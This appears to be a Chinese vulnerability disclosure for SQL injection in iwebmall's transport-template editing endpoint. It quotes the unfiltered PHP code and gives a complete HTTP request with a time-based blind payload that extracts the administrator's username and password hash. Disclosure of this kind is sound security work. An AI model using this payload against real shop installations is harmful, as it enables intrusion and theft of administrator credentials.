### 简要描述:
Iwebmall 最新版SQL注入第十四枚(漏洞打包)
### 详细说明:
看到wooyun上有人提了几个iweb的漏洞( [WooYun: iwebmall商城程序sql注入](http://www.wooyun.org/bugs/wooyun-2014-078282) ),我来捡捡漏儿吧,希望不要重复。
先把注入点拿出来:www.xxx.com/do.php?act=edit_transport_template,POST中的参数$id $transport_name $description存在注入,程序没有对其过滤,造成了注入。
先来看看这几个参数可以注入的证明吧
[<img src="https://images.seebug.org/upload/201412/170047441a844a374972f7ec8dbb9a5ac5daeb35.jpg" alt="证明多处注入漏洞副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/170047441a844a374972f7ec8dbb9a5ac5daeb35.jpg)
以transport_name 为例进行证明
/action/goods/edit_transport_template.php
```
无关代码
//取得商品列表
$post = $_POST;
$id = $post['id'];
$arr = array();
$info['transport_name']=$post['transport_name'];
$info['description'] = $post['description'];
foreach ($post['transport_type'] as $k=>$v){
$arr[$v]=array();
}
//查询开启的配送方式
$sql = "select * from $t_transport where ifopen=1";
$tran_list=$dbo->getRs($sql);
//循环获得前台传来的值,通过tran_type字段作为数组下标
foreach ($tran_list as $val){
$arr[$val['tranid']]['frist']=$post['frist'.$val['tranid']];
$arr[$val['tranid']]['second']=$post['second'.$val['tranid']];
if(isset($post['ord_item_dest'.$val['tranid']])){
foreach ($post['ord_item_dest'.$val['tranid']] as $k=>$v){
$v = substr($v,0,-1);
$areaarr = explode(",",$v);
foreach ($areaarr as $key=>$value){
$arr[$val['tranid']][$value]=array("frist"=>$post['ord_area_frist'.$val['tranid']][$k],"second"=>$post['ord_area_second'.$val['tranid']][$k]);
}
}
}
}
$info['shop_id']= get_sess_shop_id();
$info['content'] = serialize($arr);
if ($dbo->updatebyarr($info,$t_transport_template,"id='$id'")) {
action_return(1,$m_langpackage->m_edit_success."!","modules.php?app=goods_list");
}else{
echo "no";
}
无关代码
```
再去看看updatebyarr()
/iweb_mini_lib/cdbex.class.php
```
public function updatebyarr($info,$table,$con){
$i=0;
foreach ($info as $key=>$value){
if ($i==0){
$change = "`$key`='$value'";
} else{
$change .=",`$key`='$value'";
}
$i++;
}
$sql = "update `$table` set $change where $con";
return mysql_query($sql);
}
```
可以看到,$info['transport_name']没有经过任何过滤就带入了SQL语句查询,造成了注入。
Iweb没有错误回显,这里用time-based blind进行注入测试。
Payload:
```
POST /do.php?act=edit_transport_template HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/modules.php?app=edit_transport_template&id=16
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1418653330;
iweb_email=xxxx@163.com; iweb_iweb_login=xxxx%40163.com; PHPSESSID=l1g8disfqv5ov62d8j0m4msob6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 257
id=16&transport_name=' or (select if(ord(mid((select admin_name from imall_admin_user where admin_id=1 limit 0,1),1,1))=122,sleep(3),0))
or '&description=description&transport_type%5B%5D=1&frist1=10&second1=20&frist2=0.00&second2=0.00&sub=%E7%A1%AE%E5%AE%9A
```
测试时:登陆后访问如上的请求,抓包,按上面的payload进行修改即可。
因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图
[<img src="https://images.seebug.org/upload/201412/170048306c2bfd1c198fd2f5098295b90fd66e51.jpg" alt="猜测失败副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/170048306c2bfd1c198fd2f5098295b90fd66e51.jpg)
若正确,延迟5s左右,如下图
[<img src="https://images.seebug.org/upload/201412/1700484119589e7d4bbf325af7799edf4d8be518.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/1700484119589e7d4bbf325af7799edf4d8be518.jpg)
按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: 21232f297a57a5a743894a0e4a801fc3
### 漏洞证明:
见 详细说明
暂无评论